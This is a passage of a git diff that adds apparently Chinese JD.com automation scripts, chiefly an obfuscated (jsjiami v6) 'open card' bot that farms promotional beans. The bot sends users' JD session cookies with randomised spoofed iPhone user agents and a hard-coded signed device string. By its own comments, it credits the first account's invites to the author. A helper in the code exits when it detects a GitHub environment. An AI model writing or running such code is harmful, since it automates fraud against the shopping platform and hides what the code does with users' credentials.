_0x1caa0a===_0x270f37;},'EVdKa':_0x4291('42e'),'txGMb':_0x4291('18'),'xUjll':_0x4291('42f'),'KSGOb':_0x4291('430'),'UeLWt':_0x4291('30c'),'GzBeK':_0x4291('30d'),'uukLa':_0x4291('30e'),'BlAQd':function(_0x1a0e04,_0x7e6a94){return _0x1a0e04!=_0x7e6a94;},'PIjRK':_0x4291('60'),'zCoZb':function(_0x400ec4,_0x32e0e8){return _0x400ec4===_0x32e0e8;},'dXoQU':_0x4291('431'),'QOBNy':function(_0xecd9eb,_0x1b04e2){return _0xecd9eb>_0x1b04e2;},'kawiZ':_0x4291('5e'),'zsoum':function(_0x2b9330,_0x5612ea){return _0x2b9330>_0x5612ea;},'HYRax':_0x4291('5f'),'ozUtP':function(_0x7cb967,_0x256a13){return _0x7cb967&&_0x256a13;},'CAQGo':function(_0x10d54e,_0x458825){return _0x10d54e===_0x458825;},'BHJgv':_0x4291('432'),'tQqup':_0x4291('433'),'HNJPx':_0x4291('434'),'JNBdh':_0x4291('435')};return new Promise(_0x3a01f2=>{var _0x5120c1={'ERceJ':function(_0x4fb747,_0x4d283a){return _0x19c087[_0x4291('436')](_0x4fb747,_0x4d283a);},'RUVJo':_0x19c087[_0x4291('437')]};let _0x4e21b8={'url':_0x4291('334')+$[_0x4291('40')]+_0x4291('43')+$[_0x4291('3e')],'followRedirect':![],'headers':{'User-Agent':$['UA']}};$[_0x4291('1ea')](_0x4e21b8,async(_0x24f355,_0x375551,_0x3cd96f)=>{var _0x247f4f={'yymvB':function(_0x3431fe){return _0x19c087[_0x4291('438')](_0x3431fe);},'QxSpC':function(_0x261138,_0x278de5){return _0x19c087[_0x4291('436')](_0x261138,_0x278de5);},'uOSyD':_0x19c087[_0x4291('439')],'mTBsn':function(_0xad9df7,_0x5169cf){return _0x19c087[_0x4291('43a')](_0xad9df7,_0x5169cf);},'lyWkr':function(_0x227500,_0x66a8cd){return _0x19c087[_0x4291('43a')](_0x227500,_0x66a8cd);},'UglUt':function(_0x2f8c45,_0x486196){return _0x19c087[_0x4291('43b')](_0x2f8c45,_0x486196);},'gUzFs':function(_0x30d556,_0x4f7032){return _0x19c087[_0x4291('43c')](_0x30d556,_0x4f7032);},'UgsDV':function(_0x22c0a7,_0x52a007){return _0x19c087[_0x4291('436')](_0x22c0a7,_0x52a007);},'cLyLl':_0x19c087[_0x4291('43d')],'mZWPF':_0x19c087[_0x4291('43e')],'ggazW':_0x19c087[_0x4291('43f')],'kONYU':_0x19c087[_0x4291('440')],'GIYJV':function(_0x672bd6,_0x1d02e3){return _0x19c087[_0x4291('441')](_0x672bd6,_0x1d02e3);}};if(_0x19c087[_0x4291('442')](_0x19c087[_0x4291('443')],_0x19c087[_0x4291('443')])){_0x247f4f[_0x4291('444')](_0x3a01f2);}else{try{if(_0x24f355){if(_0x375551[_0x4291('118')]&&_0x19c087[_0x4291('436')](_0x375551[_0x4291('118')],0x1ed)){if(_0x19c087[_0x4291('445')](_0x19c087[_0x4291('446')],_0x19c087[_0x4291('446')])){console[_0x4291('a')](_0x19c087[_0x4291('437')]);$[_0x4291('16')]=!![];}else{if(_0x375551[_0x4291('118')]&&_0x5120c1[_0x4291('447')](_0x375551[_0x4291('118')],0x1ed)){console[_0x4291('a')](_0x5120c1[_0x4291('448')]);$[_0x4291('16')]=!![];}console[_0x4291('a')](''+$[_0x4291('58')](_0x24f355));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('449'));}}console[_0x4291('a')](''+$[_0x4291('58')](_0x24f355));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('449'));}else{if(_0x19c087[_0x4291('445')](_0x19c087[_0x4291('44a')],_0x19c087[_0x4291('44b')])){let _0x21e42c=res[_0x4291('30')][i];if(_0x247f4f[_0x4291('44c')](_0x21e42c[_0x4291('a2')],_0x247f4f[_0x4291('44d')]))num++;if(_0x247f4f[_0x4291('44c')](_0x21e42c[_0x4291('a2')],_0x247f4f[_0x4291('44d')]))value=_0x21e42c[_0x4291('123')][_0x4291('57')]('京豆','');if(_0x247f4f[_0x4291('44e')](_0x21e42c[_0x4291('a2')],_0x247f4f[_0x4291('44d')]))console[_0x4291('a')](''+(_0x247f4f[_0x4291('44f')](_0x21e42c[_0x4291('126')],0xa)&&_0x247f4f[_0x4291('450')](_0x21e42c[_0x4291('a2')],':')||'')+_0x21e42c[_0x4291('123')]);}else{let _0x30186a='';let _0x153f77='';let _0x60b252=_0x375551[_0x19c087[_0x4291('451')]][_0x19c087[_0x4291('452')]]||_0x375551[_0x19c087[_0x4291('451')]][_0x19c087[_0x4291('453')]]||'';let _0x17df24='';if(_0x60b252){if(_0x19c087[_0x4291('454')](typeof _0x60b252,_0x19c087[_0x4291('455')])){if(_0x19c087[_0x4291('456')](_0x19c087[_0x4291('457')],_0x19c087[_0x4291('457')])){_0x17df24=_0x60b252[_0x4291('7c')](',');}else{$['UA']=_0x4291('458')+_0x247f4f[_0x4291('459')](randomString,0x28)+_0x4291('45a');if(_0x247f4f[_0x4291('45b')]($[_0x4291('4d')],0x1)){let _0x43f12b=[_0x247f4f[_0x4291('45c')],_0x247f4f[_0x4291('45d')],_0x247f4f[_0x4291('45e')],_0x247f4f[_0x4291('45f')]];$[_0x4291('3e')]=_0x43f12b[Math[_0x4291('35d')](_0x247f4f[_0x4291('460')](Math[_0x4291('a0')](),_0x43f12b[_0x4291('45')]))];}}}else _0x17df24=_0x60b252;for(let _0x436c2c of _0x17df24){let _0x4be5fb=_0x436c2c[_0x4291('7c')](';')[0x0][_0x4291('15f')]();if(_0x4be5fb[_0x4291('7c')]('=')[0x1]){if(_0x19c087[_0x4291('461')](_0x4be5fb[_0x4291('89')](_0x19c087[_0x4291('462')]),-0x1))_0x30186a=_0x19c087[_0x4291('43b')](_0x4be5fb[_0x4291('57')](/ /g,''),';');if(_0x19c087[_0x4291('463')](_0x4be5fb[_0x4291('89')](_0x19c087[_0x4291('464')]),-0x1))_0x153f77=_0x19c087[_0x4291('43b')](_0x4be5fb[_0x4291('57')](/ /g,''),';');}}}if(_0x19c087[_0x4291('465')](_0x30186a,_0x153f77))activityCookie=_0x30186a+'\x20'+_0x153f77;}}}catch(_0x29478f){if(_0x19c087[_0x4291('466')](_0x19c087[_0x4291('467')],_0x19c087[_0x4291('468')])){setcookie=setcookies[_0x4291('7c')](',');}else{$[_0x4291('5b')](_0x29478f,_0x375551);}}finally{if(_0x19c087[_0x4291('442')](_0x19c087[_0x4291('469')],_0x19c087[_0x4291('46a')])){_0x19c087[_0x4291('438')](_0x3a01f2);}else{console[_0x4291('a')](_0x3cd96f);}}}});});}function taskPostUrl(_0x4fd6f0,_0x2746ae){var _0x1ba870={'RJQzR':_0x4291('46b'),'EsqHY':_0x4291('46c'),'iZuCE':_0x4291('46d'),'hyaxr':_0x4291('46e'),'qsbGY':_0x4291('204'),'Ifbjc':function(_0xdd6353,_0x4820fd){return _0xdd6353+_0x4820fd;},'BLXfY':function(_0x2259b0,_0x1d28c2){return _0x2259b0+_0x1d28c2;},'Xcout':_0x4291('46f'),'zpBpT':_0x4291('470'),'Epxrd':_0x4291('471'),'ClMRV':_0x4291('472')};return{'url':_0x4291('471')+_0x4fd6f0,'body':_0x2746ae,'headers':{'Accept':_0x1ba870[_0x4291('473')],'Accept-Language':_0x1ba870[_0x4291('474')],'Accept-Encoding':_0x1ba870[_0x4291('475')],'Connection':_0x1ba870[_0x4291('476')],'Content-Type':_0x1ba870[_0x4291('477')],'Cookie':''+activityCookie+($[_0x4291('74')]&&_0x1ba870[_0x4291('478')](_0x1ba870[_0x4291('479')](_0x1ba870[_0x4291('47a')],$[_0x4291('74')]),';')||'')+lz_jdpin_token,'Host':_0x1ba870[_0x4291('47b')],'Origin':_0x1ba870[_0x4291('47c')],'X-Requested-With':_0x1ba870[_0x4291('47d')],'Referer':_0x4291('334')+$[_0x4291('40')]+_0x4291('43')+$[_0x4291('3e')],'User-Agent':$['UA']}};}function getUA(){var _0x252e70={'NmdkW':function(_0x46b6c3,_0x1df805){return _0x46b6c3(_0x1df805);},'HGbSw':function(_0x331881,_0x1e1a58){return _0x331881==_0x1e1a58;},'OLhjg':_0x4291('22'),'zhaEU':_0x4291('309'),'bTMro':_0x4291('30a'),'yXjen':_0x4291('30b'),'wAKDj':function(_0x18182f,_0xc9a1ad){return _0x18182f*_0xc9a1ad;}};$['UA']=_0x4291('458')+_0x252e70[_0x4291('47e')](randomString,0x28)+_0x4291('45a');if(_0x252e70[_0x4291('47f')]($[_0x4291('4d')],0x1)){let _0x9a98a1=[_0x252e70[_0x4291('480')],_0x252e70[_0x4291('481')],_0x252e70[_0x4291('482')],_0x252e70[_0x4291('483')]];$[_0x4291('3e')]=_0x9a98a1[Math[_0x4291('35d')](_0x252e70[_0x4291('484')](Math[_0x4291('a0')](),_0x9a98a1[_0x4291('45')]))];}}function randomString(_0x54ce30){var _0x18bbf2={'prekn':function(_0x488060,_0x2c25ad){return _0x488060||_0x2c25ad;},'OsFXG':_0x4291('485'),'OojIc':function(_0x24e9ba,_0x3065a9){return _0x24e9ba<_0x3065a9;},'liqtG':function(_0x2f6da0,_0x1e1e6a){return _0x2f6da0*_0x1e1e6a;}};_0x54ce30=_0x18bbf2[_0x4291('486')](_0x54ce30,0x20);let _0x3f1302=_0x18bbf2[_0x4291('487')],_0x5f7f11=_0x3f1302[_0x4291('45')],_0x5c863a='';for(i=0x0;_0x18bbf2[_0x4291('488')](i,_0x54ce30);i++)_0x5c863a+=_0x3f1302[_0x4291('489')](Math[_0x4291('35d')](_0x18bbf2[_0x4291('48a')](Math[_0x4291('a0')](),_0x5f7f11)));return _0x5c863a;}function jsonParse(_0x3aab61){var _0x33c724={'CvxIR':function(_0x22ead3,_0x438ef1){return _0x22ead3==_0x438ef1;},'lvAJG':_0x4291('1e0'),'HRXdn':_0x4291('1e1')};if(_0x33c724[_0x4291('48b')](typeof _0x3aab61,_0x33c724[_0x4291('48c')])){try{return JSON[_0x4291('1f1')](_0x3aab61);}catch(_0x2c07a1){console[_0x4291('a')](_0x2c07a1);$[_0x4291('2b')]($[_0x4291('2c')],'',_0x33c724[_0x4291('48d')]);return[];}}};_0xod2='jsjiami.com.v6'; + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/gua_opencard26.js b/backUp/gua_opencard26.js new file mode 100644 index 0000000..e04c863 --- /dev/null +++ b/backUp/gua_opencard26.js @@ -0,0 +1,52 @@ +/* +9.8-10.8 京粮食品 京秋放价 [gua_opencard26.js] +新增开卡脚本 (脚本已加密 +一次性脚本 + +邀请一人20豆 被邀请也有10豆(有可能没有豆 +开1组卡 抽奖可能获得20京豆(有可能有抽到空气💨 +关注10京豆 (有可能是空气💨 +加购5京豆 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku26]为"true" + +第一个账号助力作者 其他依次助力CK1 +第一个CK失效会退出脚本 + +默认脚本不执行 +如需执行脚本请设置环境变量 +guaopencard26="true" + +All变量适用 +———————————————— +入口:[ 9.8-10.8 京粮食品 京秋放价 (https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity?activityId=ae2674803c574c26af90243148a98312&shareUuid=e64a0127aa5843b292cfab7e10a91294)] + +请求太频繁会被黑ip +过10分钟再执行 + +============Quantumultx=============== +[task_local] +#9.8-10.8 京粮食品 京秋放价 +27 2 * 9,10 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard26.js, tag=9.8-10.8 京粮食品 京秋放价, enabled=true + +================Loon============== +[Script] +cron "27 2 * 9,10 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard26.js,tag=9.8-10.8 京粮食品 京秋放价 + +===============Surge================= +9.8-10.8 京粮食品 京秋放价 = type=cron,cronexp="27 2 * 9,10 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard26.js + +============小火箭========= +9.8-10.8 京粮食品 京秋放价 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard26.js, cronexpr="27 2 * 9,10 *", timeout=3600, enable=true +*/ +let guaopencard_addSku = "false" +let guaopencard = "false" + + +const $ = new Env('9.8~10.8 京粮食品 京秋放价'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +var _0xodq='jsjiami.com.v6',_0x4a68=[_0xodq,'ZlZtR0E=','dmhJZkI=','dWVjUFI=','aGtTVUE=','TmtucE4=','bXhlSk0=','TUR3d1M=','ZHVMWEw=','SEFYaVY=','emZYYUo=','RFNZa2w=','d1l5WkQ=','bk9HVEE=','Z2ZxYks=','SlpCaVU=','akVaVlo=','a1JCalE=','d2V1b2Y=','ekxkdWM=','UnFvWng=','dGNSSWo=','YXJDb0M=','Y1p2blE=','UU1hcnE=','allnYlY=','SFdqanA=','cWVoSXI=','ZkxXdnA=','UlRBWlE=','UFpqSnI=','clBnRXo=','YXNyQlE=','YnpSZlg=','UHJldnk=','SUdkbXU=','ZWx0TGQ=','SWtFTUo=','dGVsSVI=','Wndmems=','ZERJY3Q=','aUJnSmY=','ZnRLWkE=','anVJYXo=','eXJWamM=','RWtzbmY=','aGVhZGVycw==','c2V0LWNvb2tpZQ==','U2V0LUNvb2tpZQ==','bEZIVEE=','QlRhZ28=','Uk5KS28=','eW5YeGI=','UWJKVk8=','bXNvd2o=','TWVoYlA=','L2NvbW1vbi9hY2Nlc3NMb2dXaXRoQUQ=','cUhGSko=','QWJGYVU=','V2pSaVU=','UGVFRkU=','dFFnQ2Y=','Z2NtV24=','R3dqbk4=','TExlY1Q=','WkR5WlQ=','b3BrcnM=','c01Eeno=','VEVvRUo=','V1ZqeXg=','eVRGT0g=','alFNTlY=','RHNQS1A=','RVBBcUc=','d3VsT3g=','bnRWeGo=','TmxHV3E=','d1dnREE=','VFZuWkQ=','YllUUGI=','ZExsZXY=','cGp4ZkE=','VGpsSGU=','b3JhblI=','dE1Xa1A=','bEhlVUU=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kaW5nemhpL2R6L29wZW5DYXJkL2FjdGl2aXR5P2FjdGl2aXR5SWQ9','dmVuZGVySWQ9','JmNvZGU9OTkmcGluPQ==','YlNhbkU=','JmFjdGl2aXR5SWQ9','JnBhZ2VVcmw9','JnN1YlR5cGU9QVBQJmFkU291cmNlPW51bGw=','TE1jb3Q=','UHdoYko=','Q0xrSU8=','Y0JIQ0Q=','Z2VKbU8=','VUxkTmM=','b3Jrc2E=','Z2dpZGs=','c09vUUI=','YW9zT24=','R3ROYm4=','VVhwZ3E=','cHBRU1I=','UmVjdlQ=','cGp1VGs=','ZlVsenc=','Y29Oc3I=','TGp2RWM=','eUlSeUk=','ZG9wTHI=','dkdWd0w=','ZG5FbEU=','aUlmWWM=','ZmxkdUQ=','ZWdnSUc=','YWpNZ3c=','YXlwb0Y=','UlR4Rlk=','c3pZcEo=','ckxKclI=','VkxZdnE=','cmFvYlY=','IGNvb2tpZSBBUEnor7fmsYLlpLHotKXvvIzor7fmo4Dmn6XnvZHot6/ph43or5U=','SFplRlc=','SGlSbHA=','ZW1NUE0=','TUxOU3k=','TGhkaGw=','b3VHWE0=','QUxSVkY=','Q2xjWHU=','S1dScFQ=','c05HZFM=','eW9yc0Y=','WUJqb2U=','UndsVlQ=','Zm52cWU=','RXpGUUg=','bE9YcG8=','b0ZCeFo=','VGhHank=','L2N1c3RvbWVyL2dldE15UGluZw==','RFFTY0k=','QnVLbkE=','WU9rUGE=','UmtIVGQ=','eHJ3dWQ=','aVpPZXg=','UUZIaWE=','QnlCeGg=','blZlb04=','UEdYYmg=','TEV3bm0=','S1ZpR3U=','enpJZ0Y=','VVZ5WGg=','eEt1ZUI=','RUNpd1o=','VEVCUHI=','bklaa2Q=','aXpJSlQ=','S0JSYWI=','WGN3Q2Y=','ZU1Cb20=','VG1PdFQ=','QnRHSko=','dFJkVWM=','QXh3UmQ=','dXNlcklkPQ==','JnRva2VuPQ==','JmZyb21UeXBlPUFQUA==','em9peWI=','bGF1dW0=','Z2duUGQ=','R2t0elg=','dFFabE0=','Q2tvQU8=','aVlRT3Q=','V2FhS1k=','SWxxdWI=','ZWhIYW0=','dVRhWFY=','a2N6UkQ=','cnZOWm0=','WHhISlg=','RFFsZlQ=','Y1BPbFU=','Uk9IY0w=','QWNiQWs=','SUZ6VFQ=','U2pzUHA=','Qk9xbUg=','UlltWWc=','eUx5Z0I=','SVFVWFA=','Rm5qdEg=','Z0htY3Y=','c2VjcmV0UGlu','aWR6eGc=','ZndSa2I=','YXdxY04=','Z2V0TXlQaW5nIA==','dk5YQ0Q=','QkZncGE=','YWl1UFg=','aWJTSks=','R3J6Rnk=','V25LQXo=','YXBwbGljYXRpb24vanNvbg==','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','a2VlcC1hbGl2ZQ==','QVVUSF9DX1VTRVI9','bHpkejEtaXN2LmlzdmpjbG91ZC5jb20=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbQ==','WE1MSHR0cFJlcXVlc3Q=','dFlrb3g=','RUdBanM=','RExGQnI=','aWJzaHQ=','Z1VQa1o=','R1JDYno=','Y1dZcXA=','L2R6L2NvbW1vbi9nZXRTaW1wbGVBY3RJbmZvVm8=','dXhmY0E=','bVFORHY=','amlreGY=','a3Z5SmM=','Uk90VVU=','d2lXb3Y=','YnJMQm8=','b1NIWWw=','ZEtZS0M=','Rm53Tk8=','VGpyWlE=','Y0pzemQ=','WWZrZWM=','U1ljUXI=','cHdpT2s=','RXRjSko=','T1VGRkk=','QVZFUmg=','aHJLaHc=','WnRpdGg=','VEZzSk4=','Z0VlWUU=','cnBTQkU=','TXRxZ2I=','cGx1YlI=','WmRSZHc=','cG5qS3E=','WE9Wc3g=','aVhnUXk=','VlB3cUk=','dEZjaE8=','aGJJUmQ=','SkFDeUY=','THpTdHU=','U3VSWmw=','VWhFUWM=','dGtTWUs=','SWJxRGg=','bElDR0I=','VGRUa3M=','eW11TXg=','c1lEaVk=','VFBkWWI=','WWZvRmw=','TnFKdmo=','a3J4dHE=','ZHBqS00=','cnZWUnM=','WHB6SEg=','S3ZBSFo=','d1RhT1g=','QkhGRXA=','bGZWSWI=','cGtqalc=','WnNUWFY=','VXFvcmI=','S05tc1A=','cWFPaEo=','U2NCT2Y=','UlJQcFc=','WGdTZ0k=','c3RyaW5naWZ5','IGdldFNpbXBsZUFjdEluZm9WbyBBUEnor7fmsYLlpLHotKXvvIzor7fmo4Dmn6XnvZHot6/ph43or5U=','U2pqWEg=','UVhGbmk=','RHdsV0w=','TGV0RVg=','UWRERHE=','a0Jabm0=','UGpsTEk=','a29rVmc=','S1dqSEI=','aU9KWUE=','cmhqR0U=','dkFvTms=','TWZ0T0s=','ZW94aEk=','bmxSa1g=','QU96UXQ=','Qk9pS1I=','bUlOa1o=','bVBiVWo=','a1liaHE=','WUdDVHE=','TmRTTXQ=','SHZwb2I=','ZmZtZXg=','YXJlYT0xNl8xMzE1XzEzMTZfNTM1MjImYm9keT0lN0IlMjJ1cmwlMjIlM0ElMjJodHRwcyUzQSU1Qy8lNUMvbHpkejEtaXN2LmlzdmpjbG91ZC5jb20lMjIlMkMlMjJpZCUyMiUzQSUyMiUyMiU3RCZidWlsZD0xNjc4MDImY2xpZW50PWFwcGxlJmNsaWVudFZlcnNpb249MTAuMS4yJmRfYnJhbmQ9YXBwbGUmZF9tb2RlbD1pUGhvbmU3JTJDMiZlaWQ9ZWlkSTEzMjU4MTIyZGJzM3N6akVRa0lWUnVpY09EcS9ETlNzQkxNNHhiZUk3TE5yTmY4enZDdHU5NDh2blFIU2VCYWVNbXR1SE52Qm1hNUYxVm9xWGZGTUxxRXRBc3pvRkpYZUM2MzJ3bWltWk8ySGRMazMmaXNCYWNrZ3JvdW5kPU4mam95Y2lvdXM9NjEmbGFuZz16aF9DTiZuZXR3b3JrVHlwZT13aWZpJm5ldHdvcmtsaWJ0eXBlPUpETmV0d29ya0Jhc2VBRiZvcGVudWRpZD0xZWI5MDZhMzI5NDA3NTJiNTA5Nzk1OWI4N2JmNzc5MGNmNzJkZDA1Jm9zVmVyc2lvbj0xMi40JnBhcnRuZXI9YXBwbGUmcmZzPTAwMDAmc2NvcGU9MDEmc2NyZWVuPTc1MCUyQTEzMzQmc2lnbj0xMjA0MzQ4YjAxOWMxNmQyYmMxMDAxYjU0ZjljOTIyZCZzdD0xNjMxMDg0Mjk4MDU1JnN2PTEyMSZ1ZW1wcz0wLTAmdXRzPTBmMzFUVlJqQlNzcW5kdTQvamdVUHo2dXlteTUwTVFKSmtUbHV2cHJBMmVka2Y0NVFuciUyQmhlWmhacVlJMGxlOHJmTHY4cGlSMENIMzdhTmJ3a0c2bEZTaVpjMi9paUo3TiUyQmVwZUFza0lUNmpKeEhuUjMwVXV4VGxyeFlFSWR2bmVJVCUyQjE1cWVPdVp6Z0F3SXFLYWVhNUJkSXRyVE1QWnI4VmtScS9mM09ZNG1od28zUlNvNFlCelBSRVZaTFl6TDRGWE9VVWlsMDc4dWQ0ZnRTUENKVGclM0QlM0QmdXVpZD1oanVkd2dvaHh6VnU5Nmtydi9UNkhnJTNEJTNEJndpZmlCc3NpZD03OTY2MDZlOGUxODFhYTU4NjVlYzIwNzI4YTI3MjM4Yg==','b3hmdUQ=','SEd6aUk=','ZUZ